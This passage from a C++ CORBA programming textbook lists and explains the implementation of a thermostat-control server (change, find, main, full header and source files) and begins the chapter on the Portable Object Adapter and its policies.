support relative temperature changes. In addition, change must preserve the exception 
information returned by each failed operation, and that adds to the complexity. 
 
To keep the code comprehensible, we take a pessimistic approach. We create an 
EChange exception in a local variable ec, just in case we need it. We then enter the 
loop that iterates over the supplied sequence of references. During each iteration, we read 
the current nominal temperature, add the delta value to it, and attempt to set the resulting 
nominal temperature. If the attempt fails, we extend the sequence of errors inside ec by 
one element and copy the exception details returned by the failed set_nominal 
operation into the new element. When the loop terminates, we look at whether the 
sequence of errors inside ec now has non-zero length, in which case we throw the now 
initialized exception. Otherwise, if no errors were encountered, change returns without 
throwing an exception. 
       
// IDL change operation. 
 
void 
Controller_impl:: 
change( 
    const CCS::Controller::ThermostatSeq &  tlist, 
    CORBA::Short                                delta 
) throw(CORBA::SystemException, CCS::Controller::EChange) 
{ 
    CCS::Controller::EChange ec;    // Just in case we need it 
 
    // We cannot add a delta value to a thermostat's temperature 
    // directly, so for each thermostat, we read the nominal 
    // temperature, add the delta value to it, and write 
    // it back again. 
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    for (CORBA::ULong i = 0; i < tlist.length(); i++) { 
        if (CORBA::is_nil(tlist[i])) 
            continue;                       // Skip nil references 
 
        // Read nominal temp and update it. 
        CCS::TempType tnom = tlist[i]->get_nominal(); 
        tnom += delta; 
        try { 
            tlist[i]->set_nominal(tnom); 
        } 
        catch (const CCS::Thermostat::BadTemp & bt) { 
            // If the update failed because the temperature 
            // is out of range, we add the thermostat's info 
            // to the errors sequence. 
            CORBA::ULong len = ec.errors.length(); 
            ec.errors.length(len + 1); 
            ec.errors[len].tmstat_ref = tlist[i]; 
            ec.errors[len].info = bt.details; 
        } 
    } 
 
    // If we encountered errors in the above loop, 
    // we will have added elements to the errors sequence. 
    if (ec.errors.length() != 0) 
        throw ec; 
} 
 
      
Note that this code calls the get_nominal and set_nominal operations: 
       
CCS::TempType tnom = tlist[i]->get_nominal(); 
// ... 
tlist[i]->set_nominal(tnom); 
 
      
The expression tlist[i] of course denotes one of the object references passed by the 
client. Note that two interesting things are happening here. 
 
The server acts as a client by invoking an IDL operation on an object reference. 
 
In this particular case, the target object happens to be collocated in the same server as the 
calling code. 
 
This is convenient: not only can a server act as a client without special effort, but it can 
also act as a client to its own objects. In other words, invocations are location transparent, 
and we don't have to worry about where the target object is implemented. (A collocated 
invocation is much faster than one to a remote object. Most ORBs implement a local 
bypass to ensure that collocated calls are nearly as fast as virtual function calls.) 

10.9.4 Implementing the find Operation 
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Unfortunately, the implementation of find turns out to be rather messy, due in part to its 
(deliberately) convoluted semantics: if a particular search key does not match a device or 
matches only a single device, we must overwrite the device member of the search key. 
However, if several devices match the same search key, the first matching device's 
reference overwrites the device member, but the other matching devices must extend 
the search sequence passed in slist. 
 
Another reason for the excessive complexity is that we are dealing with deeply nested 
data structures. The find operation has a sequence as an inout parameter. The 
sequence elements are structures that in turn contain a data member that is a union. The 
level of nesting and the complexity of the data types involved is such that messy code is 
almost unavoidable: 
       
// IDL find operation 
 
void 
Controller_impl:: 
find(CCS::Controller::SearchSeq & slist) 
throw(CORBA::SystemException) 
{ 
 
    // Loop over input list and look up each device. 
    CORBA::ULong listlen = slist.length(); 
    for (CORBA::ULong i = 0; i < listlen; i++) { 
 
        AssetMap::iterator where;   // Iterator for asset map 
        int num_found = 0;          // Num matched per iteration 
 
        // Assume we will not find a matching device. 
        slist[i].device = CCS::Thermometer::_nil(); 
 
        // Work out whether we are searching by asset, 
        // model, or location. 
        CCS::Controller::SearchCriterion sc = slist[i].key._d(); 
        if (sc == CCS::Controller::ASSET) { 
            // Search for matching asset number. 
            where = m_assets.find(slist[i].key.asset_num()); 
            if (where != m_assets.end()) 
                slist[i].device = where->second->_this(); 
        } else { 
            // Search for model or location string. 
            const char * search_str; 
            if (sc == CCS::Controller::LOCATION) 
                search_str = slist[i].key.loc(); 
            else 
                search_str = slist[i].key.model_desc(); 
 
            // Find first matching device (if any). 
            where = find_if( 
                        m_assets.begin(), m_assets.end(), 
                        StrFinder(sc, search_str) 
                    ); 
 
            // While there are matches... 
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            while (where != m_assets.end()) { 
                if (num_found == 0) { 
                   // First match overwrites reference 
                   // in search record. 
                   slist[i].device = where->second->_this(); 
                } else { 
                   // Each further match appends a new 
                   // element to the search sequence. 
                   CORBA::ULong len = slist.length(); 
                   slist.length(len + 1); 
                   slist[len].key = slist[i].key; 
                   slist[len].device = where->second->_this(); 
                } 
                num_found++; 
 
                // Find next matching device with this key. 
                where = find_if( 
                            ++where, m_assets.end(), 
                            StrFinder(sc, search_str) 
                        ); 
            } 
        } 
    } 
} 
 
      
We designed the find operation this way because it illustrates two important points. 
If you look at the implementation code, you will find that it is remarkably free of 
CORBA artifacts. The code is complex because of the complex data types and semantics 
and not because we are using CORBA. In other words, the implementation would be 
equally complex using non-CORBA types. 
 
At the IDL level, things look deceptively simple. It is tempting to create operations that 
do too much or to use operations that manipulate deeply nested data structures. As we 
suggest in Chapter 5, doing this is almost always an indication of poor design. And as 
you can see, when it comes to implementing such operations, you pay the price. 
 
Defining the find operation as we do also gives us a convenient excuse to illustrate use 
of deeply nested IDL types. If you can understand the preceding example, you should be 
able to understand anything you are likely to encounter in real-life applications (which 
will be less complex if they are well designed). 

10.10 Implementing the Server main Function 

The server's main function is similar to what we saw in Chapter 3. The server 
initializes the ORB run time, obtains the Root POA, creates a servant manager, and 
activates the manager. The code then instantiates the controller singleton and sets its 
pointer in the static member Thermometer_impl::m_ctrl before writing the 
controller reference to the standard output. At this point, the controller servant is 
initialized and the code instantiates a number of thermometer and thermostat servants. 
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Finally, the server calls run, which starts the event loop so that the server can accept 
requests. 
      
int 
main(int argc, char * argv[]) 
{ 
    try { 
        // Initialize orb 
        CORBA::ORB_var orb = CORBA::ORB_init(argc, argv); 
 
        // Get reference to Root POA. 
        CORBA::Object_var obj 
            = orb->resolve_initial_references("RootPOA"); 
        PortableServer::POA_var poa 
            = PortableServer::POA::_narrow(obj); 
 
        // Activate POA manager 
        PortableServer::POAManager_var mgr 
            = poa->the_POAManager(); 
        mgr->activate(); 
 
        // Create a controller and set static m_ctrl member 
        // for thermostats and thermometers. 
        Controller_impl ctrl_servant; 
        Thermometer_impl::m_ctrl = &ctrl_servant; 
 
        // Write controller stringified reference to stdout 
        CCS::Controller_var ctrl = ctrl_servant._this (); 
        CORBA::String_var str = orb->object_to_string (ctrl); 
        cout < str < endl < endl; 
 
        // Create a few devices. (Thermometers have odd asset 
        // numbers, thermostats have even asset numbers.) 
        Thermometer_impl thermo1(2029, "Deep Thought"); 
        Thermometer_impl thermo2(8053, "HAL"); 
        Thermometer_impl thermo3(1027, "ENIAC"); 
        Thermostat_impl tmstat1(3032, "Colossus", 68); 
        Thermostat_impl tmstat2(4026, "ENIAC", 60); 
        Thermostat_impl tmstat3(4088, "ENIAC", 50); 
        Thermostat_impl tmstat4(8042, "HAL", 40); 
 
        // Accept requests 
        orb->run(); 
    } 
    catch (const CORBA::Exception & e) { 
        cerr < "Uncaught CORBA exception: " < e < endl; 
        return 1; 
    } 
    catch (...) { 
        abort();    // Unexpected exception, dump core 
    } 
    return 0; 
} 
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Compiling, linking, and running the server proceeds as we show in Chapter 3, so we 
do not repeat these steps here. 

10.11 The Complete Server Code 

The complete code for the server is listed here once more for your reference. For 
simplicity, the entire code is distributed over only two files: server.hh and 
server.cc. For a production-quality application, you would probably choose a finer-
grained distribution over source files for maintainability. (See [11] for excellent advice 
on how to choose an appropriate file structure.) 

10.11.1 The server.hh Header File 

       
#ifndef server_HH_ 
#define server_HH_ 
 
#include <map>  
#include <stdlib.h> 
#include "CCSS.hh" 
 
class Controller_impl; 
 
class Thermometer_impl : public virtual POA_CCS::Thermometer { 
public: 
    // CORBA attributes 
    virtual CCS::ModelType  model() 
                                throw(CORBA::SystemException); 
    virtual CCS::AssetType  asset_num() 
                                throw(CORBA::SystemException); 
    virtual CCS::TempType   temperature() 
                                throw(CORBA::SystemException); 
    virtual CCS::LocType    location() 
                                throw(CORBA::SystemException); 
    virtual void            location(const char * loc) 
                                throw(CORBA::SystemException); 
    // Constructor and destructor 
    Thermometer_impl(CCS::AssetType anum, const char * location); 
    virtual ~Thermometer_impl(); 
 
    static Controller_impl *    m_ctrl; // My controller 
 
protected: 
    const CCS::AssetType        m_anum; // My asset number 
 
private: 
    // Helper functions 
    CCS::ModelType  get_model(); 
    CCS::TempType   get_temp(); 
    CCS::LocType    get_loc(); 
    void            set_loc(const char * new_loc); 
 
    // Copy and assignment not supported 
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    Thermometer_impl(const Thermometer_impl &); 
    void operator=(const Thermometer_impl &); 
}; 
 
class Thermostat_impl : 
    public virtual POA_CCS::Thermostat, 
    public virtual Thermometer_impl { 
public: 
    // CORBA operations 
    virtual CCS::TempType   get_nominal() 
                                throw(CORBA::SystemException); 
    virtual CCS::TempType   set_nominal( 
                                CCS::TempType new_temp 
                            ) throw( 
                                CORBA::SystemException, 
                                CCS::Thermostat::BadTemp 
                             ); 
    // Constructor and destructor 
    Thermostat_impl( 
        CCS::AssetType  anum, 
        const char *    location, 
        CCS::TempType   nominal_temp 
    ); 
    virtual ~Thermostat_impl() {} 
 
private: 
    // Helper functions 
    CCS::TempType   get_nominal_temp(); 
    CCS::TempType   set_nominal_temp(CCS::TempType new_temp) 
                        throw(CCS::Thermostat::BadTemp); 
 
    // Copy and assignment not supported 
    Thermostat_impl(const Thermostat_impl &); 
    void operator=(const Thermostat_impl &); 
}; 
 
class Controller_impl : public virtual POA_CCS::Controller { 
public: 
    // CORBA operations 
    virtual CCS::Controller::ThermometerSeq * 
                list() throw(CORBA::SystemException); 
    virtual void 
                find(CCS::Controller::SearchSeq & slist) 
                    throw(CORBA::SystemException); 
    virtual void 
                change( 
                    const CCS::Controller::Thermostat Seq & tlist, 
                    CORBA::Short                                delta 
                ) throw( 
                    CORBA::SystemException, 
                    CCS::Controller::EChange 
                ); 
 
    // Constructor and destructor 
    Controller_impl() {} 
    virtual ~Controller_impl() {} 
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    // Helper functions to allow thermometers and 
    // thermostats to add themselves to the m_assets map 
    // and to remove themselves again. 
    void    add_impl(CCS::AssetType anum, Thermometer_impl * tip); 
    void    remove_impl(CCS::AssetType anum); 
 
private: 
    // Map of known servants 
    typedef map<CCS::AssetType, Thermometer_impl *> AssetMap; 
    AssetMap m_assets; 
 
    // Copy and assignment not supported 
    Controller_impl(const Controller_impl &); 
    void operator=(const Controller_impl &); 
 
    // Function object for the find_if algorithm to search for 
    // devices by location and model string. 
    class StrFinder { 
    public: 
        StrFinder( 
            CCS::Controller::SearchCriterion    sc, 
            const char *                        str 
        ) : m_sc(sc), m_str(str) {} 
        bool operator()( 
            pair<const CCS::AssetType, Thermometer_impl *> & p 
        ) const 
        { 
            switch (m_sc) { 
            case CCS::Controller::LOCATION: 
                return strcmp(p.second->location(), m_str) == 0; 
                break; 
            case CCS::Controller::MODEL: 
                return strcmp(p.second->model(), m_str) == 0; 
                break; 
            default: 
                abort();                // Precondition violation 
            } 
        } 
    private: 
        CCS::Controller::SearchCriterion    m_sc; 
        const char *                        m_str; 
    }; 
}; 
 
#endif 
 
      

10.11.2 The server.cc Implementation File 

       
#include    <iostream.h> 
#include    "icp.h" 
#include    "server.hh" 
//---------------------------------------------------------------- 
Controller_impl * Thermometer_impl::m_ctrl; // static member 
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// Helper function to read the model string from a device. 
 
CCS::ModelType 
Thermometer_impl:: 
get_model() 
{ 
    char buf[32]; 
    if (ICP_get(m_anum, "model", buf, sizeof(buf)) != 0) 
        abort(); 
    return CORBA::string_dup(buf); 
} 
 
// Helper function to read the temperature from a device. 
 
CCS::TempType 
Thermometer_impl:: 
get_temp() 
{ 
    short temp; 
    if (ICP_get(m_anum, "temperature", &temp, sizeof(temp)) != 0) 
        abort(); 
    return temp; 
} 
 
// Helper function to read the location from a device. 
 
CCS::LocType 
Thermometer_impl:: 
get_loc() 
{ 
    char buf[32]; 
    if (ICP_get(m_anum, "location", buf, sizeof(buf)) != 0) 
        abort(); 
    return CORBA::string_dup(buf); 
} 
// Helper function to set the location of a device. 
 
void 
Thermometer_impl:: 
set_loc(const char * loc) 
{ 
    if (ICP_set(m_anum, "location", loc) != 0) 
        abort(); 
} 
 
// Constructor. 
 
Thermometer_impl:: 
Thermometer_impl( 
    CCS::AssetType      anum, 
    const char *        location 
) : m_anum(anum) 
{ 
    if (ICP_online(anum) != 0)    // Mark device as on-line 
        abort(); 
    set_loc(location);            // Set location 
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    m_ctrl->add_impl(anum, this); // Add self to controller's map 
} 
 
// Destructor. 
 
Thermometer_impl:: 
~Thermometer_impl() 
{ 
    try { 
        m_ctrl->remove_impl(m_anum); // Remove self from map 
        ICP_offline(m_anum);         // Mark device as off-line 
    } catch (...) { 
        abort();        // Prevent exceptions from escaping 
    } 
} 
 
// IDL model attribute. 
 
CCS::ModelType 
Thermometer_impl:: 
model() throw(CORBA::SystemException) 
{ 
    return get_model(); 
} 
// IDL asset_num attribute. 
 
CCS::AssetType 
Thermometer_impl:: 
asset_num() throw(CORBA::SystemException) 
{ 
    return m_anum; 
} 
 
// IDL temperature attribute. 
 
CCS::TempType 
Thermometer_impl:: 
temperature() throw(CORBA::SystemException) 
{ 
    return get_temp(); 
} 
 
// IDL location attribute accessor. 
 
CCS::LocType 
Thermometer_impl:: 
location() throw(CORBA::SystemException) 
{ 
    return get_loc(); 
} 
 
// IDL location attribute modifier. 
void 
Thermometer_impl:: 
location(const char * loc) throw(CORBA::SystemException) 
{ 
    set_loc(loc); 



IT-SC book: Advanced CORBA® Programming with C++ 

 373

} 
//---------------------------------------------------------------- 
 
// Helper function to get a thermostat's nominal temperature. 
 
CCS::TempType 
Thermostat_impl:: 
get_nominal_temp() 
{ 
    short temp; 
    if (ICP_get(m_anum, "nominal_temp", &temp, sizeof (temp)) != 0) 
        abort(); 
    return temp; 
} 
 
// Helper function to set a thermostat's nominal temperature. 
 
CCS::TempType 
Thermostat_impl:: 
set_nominal_temp(CCS::TempType new_temp) 
throw(CCS::Thermostat::BadTemp) 
{ 
    short old_temp; 
 
    // We need to return the previous nominal temperature, 
    // so we first read the current nominal temperature before 
    // changing it. 
    if (ICP_get( 
        m_anum, "nominal_temp", &old_temp, sizeof(old_temp) 
       ) != 0) { 
        abort(); 
    } 
 
    // Now set the nominal temperature to the new value. 
    if (ICP_set(m_anum, "nominal_temp", &new_temp) != 0) { 
 
        // If ICP_set() failed, read this thermostat's minimum 
        // and maximum so we can initialize the BadTemp exception. 
        CCS::Thermostat::BtData btd; 
        ICP_get( 
            m_anum, "MIN_TEMP", 
            &btd.min_permitted, sizeof(btd.min_permitted) 
        ); 
        ICP_get( 
            m_anum, "MAX_TEMP", 
            &btd.max_permitted, sizeof(btd.max_permitted) 
        ); 
        btd.requested = new_temp; 
        btd.error_msg = CORBA::string_dup( 
            new_temp > btd.max_permitted ? "Too hot" : "Too cold" 
        ); 
        throw CCS::Thermostat::BadTemp(btd); 
    } 
    return old_temp; 
} 
// Constructor. 
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Thermostat_impl:: 
Thermostat_impl( 
    CCS::AssetType      anum, 
    const char *        location, 
    CCS::TempType       nominal_temp 
) : Thermometer_impl(anum, location) 
{ 
    // Base Thermometer_impl constructor does most of the 
    // work, so we need only set the nominal temperature here. 
    set_nominal_temp(nominal_temp); 
} 
 
// IDL get_nominal operation. 
CCS::TempType 
Thermostat_impl:: 
get_nominal() throw(CORBA::SystemException) 
{ 
    return get_nominal_temp(); 
} 
 
// IDL set_nominal operation. 
 
CCS::TempType 
Thermostat_impl:: 
set_nominal(CCS::TempType new_temp) 
throw(CORBA::SystemException, CCS::Thermostat::BadTemp) 
{ 
    return set_nominal_temp(new_temp); 
} 
//---------------------------------------------------------------- 
 
// Helper function for thermometers and thermostats to 
// add themselves to the m_assets map. 
 
void 
Controller_impl:: 
add_impl(CCS::AssetType anum, Thermometer_impl * tip) 
{ 
    m_assets[anum] = tip; 
} 
 
// Helper function for thermometers and thermostats to 
// remove themselves from the m_assets map. 
 
void 
Controller_impl:: 
remove_impl(CCS::AssetType anum) 
{ 
    m_assets.erase(anum); 
} 
 
// IDL list operation. 
 
CCS::Controller::ThermometerSeq * 
Controller_impl:: 
list() throw(CORBA::SystemException) 
{ 
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    // Create a new thermometer sequence. Because we know 
    // the number of elements we will put onto the sequence, 
    // we use the maximum constructor. 
    CCS::Controller::ThermometerSeq_var listv 
        = new CCS::Controller::ThermometerSeq(m_assets.size()); 
    listv->length(m_assets.size()); 
 
    // Loop over the m_assets map and create a 
    // reference for each device. 
    CORBA::ULong count = 0; 
    AssetMap::iterator i; 
    for (i = m_assets.begin(); i != m_assets.end(); i++) 
        listv[count++] = i->second->_this(); 
    return listv._retn(); 
} 
 
// IDL change operation. 
 
void 
Controller_impl:: 
change( 
    const CCS::Controller::ThermostatSeq &  tlist, 
    CORBA::Short                                delta 
) throw(CORBA::SystemException, CCS::Controller::EChange) 
{ 
    CCS::Controller::EChange ec;    // Just in case we need it 
 
    // We cannot add a delta value to a thermostat's temperature 
    // directly, so for each thermostat, we read the nominal 
    // temperature, add the delta value to it, and write 
    // it back again. 
    for (CORBA::ULong i = 0; i < tlist.length(); i++) { 
        if (CORBA::is_nil(tlist[i])) 
            continue;                       // Skip nil references 
         
        // Read nominal temp and update it. 
        CCS::TempType tnom = tlist[i]->get_nominal(); 
        tnom += delta; 
        try { 
            tlist[i]->set_nominal(tnom); 
        } 
        catch (const CCS::Thermostat::BadTemp & bt) { 
            // If the update failed because the temperature 
            // is out of range, we add the thermostat's info 
            // to the errors sequence. 
            CORBA::ULong len = ec.errors.length(); 
            ec.errors.length(len + 1); 
            ec.errors[len].tmstat_ref = tlist[i]; 
            ec.errors[len].info = bt.details; 
        } 
    } 
 
    // If we encountered errors in the above loop, 
    // we will have added elements to the errors sequence. 
    if (ec.errors.length() != 0) 
        throw ec; 
} 
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// IDL find operation 
 
void 
Controller_impl:: 
find(CCS::Controller::SearchSeq & slist) 
throw(CORBA::SystemException) 
{ 
    // Loop over input list and look up each device. 
    CORBA::ULong listlen = slist.length(); 
    for (CORBA::ULong i = 0; i < listlen; i++) { 
 
        AssetMap::iterator where;   // Iterator for asset map 
        int num_found = 0;          // Num matched per iteration 
 
        // Assume we will not find a matching device. 
        slist[i].device = CCS::Thermometer::_nil(); 
 
        // Work out whether we are searching by asset, 
        // model, or location. 
        CCS::Controller::SearchCriterion sc = slist[i].key._d(); 
        if (sc == CCS::Controller::ASSET) { 
            // Search for matching asset number. 
            where = m_assets.find(slist[i].key.asset_num()); 
            if (where != m_assets.end()) 
                slist[i].device = where->second->_this(); 
        } else { 
            // Search for model or location string. 
            const char * search_str; 
            if (sc == CCS::Controller::LOCATION) 
                search_str = slist[i].key.loc(); 
            else 
                search_str = slist[i].key.model_desc(); 
 
            // Find first matching device (if any). 
            where = find_if( 
                        m_assets.begin(), m_assets.end(), 
                        StrFinder(sc, search_str) 
                    ); 
 
            // While there are matches... 
            while (where != m_assets.end()) { 
                if (num_found == 0) { 
                    // First match overwrites reference 
                    // in search record. 
                    slist[i].device = where->second->_this(); 
                } else { 
                    // Each further match appends a new 
                    // element to the search sequence. 
                    CORBA::ULong len = slist.length(); 
                    slist.length(len + 1); 
                    slist[len].key = slist[i].key; 
                    slist[len].device = where->second->_this(); 
                } 
                num_found++; 
 
                // Find next matching device with this key. 
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                where = find_if( 
                            ++where, m_assets.end(), 
                            StrFinder(sc, search_str) 
                        ); 
            } 
        } 
    } 
} 
//---------------------------------------------------------------- 
int 
main(int argc, char * argv[]) 
{ 
    try { 
        // Initialize orb 
        CORBA::ORB_var orb = CORBA::ORB_init(argc, argv); 
 
        // Get reference to Root POA. 
        CORBA::Object_var obj 
            = orb->resolve_initial_references("RootPOA"); 
        PortableServer::POA_var poa 
            = PortableServer::POA::_narrow(obj); 
 
        // Activate POA manager 
        PortableServer::POAManager_var mgr 
            = poa->the_POAManager(); 
        mgr->activate(); 
 
        // Create a controller and set static m_ctrl member 
        // for thermostats and thermometers. 
        Controller_impl ctrl_servant; 
        Thermometer_impl::m_ctrl = &ctrl_servant; 
 
        // Write controller stringified reference to stdout 
        CCS::Controller_var ctrl = ctrl_servant._this (); 
        CORBA::String_var str = orb->object_to_string (ctrl); 
        cout < str < endl < endl; 
 
        // Create a few devices. (Thermometers have odd asset 
        // numbers, thermostats have even asset numbers.) 
        Thermometer_impl thermo1(2029, "Deep Thought"); 
        Thermometer_impl thermo2(8053, "HAL"); 
        Thermometer_impl thermo3(1027, "ENIAC"); 
 
        Thermostat_impl tmstat1(3032, "Colossus", 68); 
        Thermostat_impl tmstat2(4026, "ENIAC", 60); 
        Thermostat_impl tmstat3(4088, "ENIAC", 50); 
        Thermostat_impl tmstat4(8042, "HAL", 40); 
 
        // Accept requests 
        orb->run(); 
    } 
    catch (const CORBA::Exception & e) { 
        cerr < "Uncaught CORBA exception: " < e < endl; 
        return 1; 
    } catch (...) { 
        abort();    // Unexpected exception, dump core 
    } 
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    return 0; 
} 
 

10.12 Summary 

Implementing a server is not much more difficult than implementing a client. The main 
differences are that you must know a few simple rules about the implementation of 
servants, how to raise exceptions, and how to create object references. As for CORBA 
clients, much of the server-side code is boilerplate that you can write once and then forget 
about, so most of the effort in writing a server goes toward providing the application 
semantics rather than worrying about infrastructure concerns. 
 
As with the client side, what may seem complex to you now soon becomes second nature. 
The small amount of complexity that is added to your code by using an ORB is amply 
repaid by the advantages we mention in Section 8.8. 
 
Although this version of the CCS server is simple and lacks a number of features, it is 
easy to write a server that is more sophisticated without unduly complicating the source 
code. How to achieve this is the topic of the next two chapters, which provide detailed 
discussion of the POA and object life cycle, respectively. 
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Chapter 11. The Portable Object Adapter 

11.1 Chapter Overview 

This chapter explains the POA in detail. After the introduction in Section 11.2, 
Section 11.3 provides a high-level overview of the POA. In Section 11.4 we 
provide details of the various policies that you use to control POA behavior. After that, 
we describe the process of creating POAs in Section 11.5. Section 11.6 defines 
servants and discusses how you implement them, and Section 11.7 explains how you 
create and activate CORBA objects using the POA. Section 11.8 details operations 
that convert between object references, object identifiers, and servants. In Section 
11.9 we explain how to deactivate objects and reclaim servant resources. We describe 
the control of the flow of requests into a POA in Section 11.10. In Section 11.11 
we briefly depart from our presentation of the POA to discuss issues related to ORB-level 
request flow control and server shutdown. Section 11.12 explains POA activation, 
and we describe POA destruction in Section 11.13. Finally, in Section 11.14 we 
discuss certain combinations of POA policies along with the types of applications that 
they are best suited for. 

11.2 Introduction 

We explain in Chapter 9 that the POA provides fundamental services such as object 
creation, servant registration, and request dispatching. However, that chapter presents 
only those POA features needed to explain the server-side C++ mapping. Specifically, it 
introduces only the Root POA, thereby allowing us to illustrate the most basic object 
creation and servant registration facilities. Our examples in Chapter 9 do not even use 
all the features supplied by the Root POA, which itself provides only a small subset of all 
possible POA features. 
 
The POA specification provides a full suite of features and services intended to allow 
developers to write scalable, high-performance server applications. Because of this, the 
POA figures prominently in the ability of application developers to properly control the 
resources required for implementing CORBA objects and delivering requests to them. 
Although server applications have a finite amount of memory, CPU power, and network 
connections available to them, they must appear to provide the best possible service to 
every client. Thus, understanding POA features and the relationships between them and 
knowing when to use them are critical to making the trade-offs necessary for creating 
high-performance server applications. 

11.3 POA Fundamentals 

In a server application, a POA is responsible for creating object references, activating 
objects, and dispatching requests made on objects to their respective servants. It is in the 
POA that the world of CORBA objects intersects the world of programming language 
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servants. Therefore, the POA is involved in all aspects of an object's life cycle, from 
creation to destruction. 
 
Naturally, an object does not exist until it has been created. An object reference always 
results from creating a CORBA object. Once created, an object can alternate between 
being activated and being deactivated. While activated, the object is capable of receiving 
and carrying out requests. To have requests delivered to it, the object must be incarnated, 
or given bodily form, by a servant. The lifetimes of servants are completely separate from 
the lifetimes of CORBA objects. A given object is incarnated by only a single servant at 
any given point in time, but over time, many servant instances can be created to incarnate 
a single CORBA object. Eventually, each servant is etherealized to break the bond 
between it and its CORBA object. (To distinguish between servant life cycles and 
CORBA object life cycles, remember that the terms incarnate and etherealize apply to 
servants, whereas create and destroy apply to CORBA objects.) Finally, the CORBA 
object is destroyed, and it returns to the non-existent state. Figure 11.1 shows the life 
cycle states of CORBA objects and their servants. 

Figure 11.1 The states of CORBA object and servant life cycles. 

 
To be useful for the widest possible variety of applications, POAs maintain no persistent 
state. If a POA were required to keep track of its objects between different executions of 
a server application, it would require persistent storage. This requirement would greatly 
hamper deployment of POA-based applications in several ways. For example, it might 
require ORB vendors either to supply or to require certain databases for use with their 
ORB products, and those databases might not integrate well with other databases you 
already employ. Alternatively, the database the ORB vendor chooses might not scale 
appropriately for the needs of certain applications. For example, it would be impractical, 
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if not impossible, to deploy a large-scale relational database on an embedded industrial 
control sensor. 
 
The POA maintains no persistent state, so it is the responsibility of the application to 
determine whether, at any point in time, each of its CORBA objects still exists. 
Ultimately, the application determines the existence of an object by supplying a servant 
to incarnate the object. 
 
Because of its key role in object creation and request dispatching, the POA plays a 
critical part in ensuring that CORBA applications can scale and perform well even when 
handling many thousands of requests for many thousands of CORBA objects. A great 
deal of the flexibility of the POA in the area of scalability comes from its strong 
separation between servant lifetimes and CORBA object lifetimes. We discuss servant 
and CORBA object lifetime issues throughout this chapter and in Chapter 12. 

11.3.1 Basic Request Dispatching 

Figure 11.2 provides a high-level view of the client and server ORB subsystems 
involved in dispatching a request. First, the server application somehow exports an object 
reference for a CORBA object. The client obtains the exported object reference for the 
object, perhaps via the Naming Service or the Trading Service or by receiving it from 
another request invocation. As Figure 11.2 shows, the object reference logically 
"points" to the target CORBA object, much as a C++ pointer points to its underlying C++ 
object. Underneath the application, the client ORB uses the object reference to determine 
where the object resides and how to contact it, and then it sends the request to the server 
ORB. The server ORB receives the request and dispatches it to the POA hosting the 
target object, and finally the POA continues the dispatch by up-calling the servant that 
incarnates the target object. 

Figure 11.2 ORB subsystems involved in request dispatching. 

 
In Figure 11.2, the arrow between the object reference and the CORBA object 
represents the logical connection over which the client ORB sends the request, and the 
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curved arrow shows the actual request flow. Note the distinction between the CORBA 
object and the servant; the CORBA object is a "virtual" entity that does not really exist 
unless incarnated by a servant. We provide many more details concerning the request 
dispatching process later in this chapter and in Chapter 14. 

11.3.2 Key POA Entities 

There are three key entities that a POA deals with: 
Object references  POAs are responsible for creating object references. An application 
can create new objects, and thus object references, either with or without also creating 
servants to incarnate the new objects.  
Object identifiers  Within the scope of its host POA, each object is identified by a 
sequence of octet called an object identifier. The application can choose whether to 
supply its own object identifiers or to allow the POA to create them on its behalf. Either 
way, an object identifier must uniquely identify its object within the scope of its POA. 
When a POA creates a new CORBA object, it typically embeds the object identifier in 
the object key portion of the object reference.  
Servants  An application can create and register servants directly with a POA to 
incarnate objects. Alternatively, it can supply servant manager objects to the POA that 
can create servants when needed to carry out a request. An application can even provide a 
default servant that can carry out all requests directed to a given POA regardless of which 
object the request is for. Depending on POA policies, a single servant can be registered 
with a POA to incarnate one or more CORBA objects at any given time.  
 
Many of the tasks that a POA performs require mapping from one of these entities to 
another. For example, POAs dispatch requests by mapping the object identifier of the 
target object to the appropriate servant. Another example is the invocation of _this on a 
servant to implicitly create a new CORBA object and register a servant for it, as we show 
in Section 9.5. This task requires a POA to be able to map from a servant to the object 
reference for the object it incarnates. 
 
However, not all POAs can map freely between all these entities. An application controls 
the capabilities of each POA related to these entities by assigning certain policies to each 
POA at creation time. We detail these various policies in the next section. Understanding 
these policies, both separately and in combination, is key to being able to use the POA to 
build reliable, scalable server applications. 

11.4 POA Policies 

A key feature of the POA specification is that an application can contain multiple POA 
instances. Each POA instance represents a grouping of objects that have similar 
characteristics. These characteristics are controlled via POA policies that are specified 
when a POA is created. All server applications have at least one POA, the Root POA, 
which has a standard set of policies. 
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Policies are objects that you use to define the characteristics of a POA and the objects 
created within it. Like the POA and POAManager interfaces, the CORBA specification 
defines the POA policy interfaces in the standard PortableServer module. 
As with all policy interfaces, POA policy types derive from the CORBA::Policy 
interface. 
      
module CORBA { 
    typedef unsigned long PolicyType; 
     
    interface Policy { 
        readonly attribute PolicyType policy_type; 
         
        Policy copy(); 
        void   destroy(); 
        }; 
        typedef sequence<Policy> PolicyList; 
        // ... 
}; 
 
     
The Policy interface and its associated types provide basic management operations. 
The policy_type read-only attribute allows you to determine the actual derived type 
of a policy through the base Policy interface. PolicyType is a tag value that is 
controlled by the OMG to ensure that all standard policy types have unique tags. 
 
The copy operation allows you to clone a Policy object. The returned reference refers 
to a completely new copy of the target Policy object. 
 
The destroy operation allows you to destroy the target Policy object. 
PolicyList allows you to group references to various derived Policy objects to 
form sets of policies. The POA creation operation accepts an argument of type 
PolicyList that allows policies to be set for the new POA. We cover POA creation in 
detail in Section 11.5. 
 
Policy objects are ocality-constrained objects. This means that even though they 
look and act just like regular objects, any attempt to pass their references as arguments to 
normal CORBA operations or to convert them to strings via 
ORB::object_to_string will result in a CORBA::MARSHAL exception. Such 
objects can be accessed only in the context of the local ORB under which they were 
created. 
 
Some objects are locality-constrained because they supply access to fundamental services 
such as the ORB or the POA, whereas others are locality-constrained because allowing 
access to them from remote processes provides no benefit. For example, allowing a 
process to register a local servant in a remote POA makes no sense because servants are 
not CORBA objects. A number of POA-related interfaces, including the POA itself, are 
locality-constrained. 
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As we show in the next few sections, all POA policies have the same form: their values 
are specified using an enumerated type, and all the policy interfaces have a read-only 
attribute of that enumerated type that can be used to get the policy value. 

11.4.1 CORBA Object Life Span 

One feature of CORBA that sets it apart from other distributed application development 
platforms is that it provides transparent and automatic activation of objects. If a client 
application issues a request to a target object that is currently not running or not activated, 
the ORB implementation activates a server process for the object if necessary and then 
activates the object itself. Any activation of server processes and target objects is 
transparent to the requesting client. (See Chapter 14 for details concerning this 
transparent object location and activation process.) CORBA objects that can live beyond 
any particular process in which they are created or activated are called persistent objects. 
These objects are so named because they persist across the lifetimes of multiple server 
processes. 
 
Despite the utility of persistent objects, application developers using CORBA before the 
adoption of the POA discovered that they also required another type of object that had a 
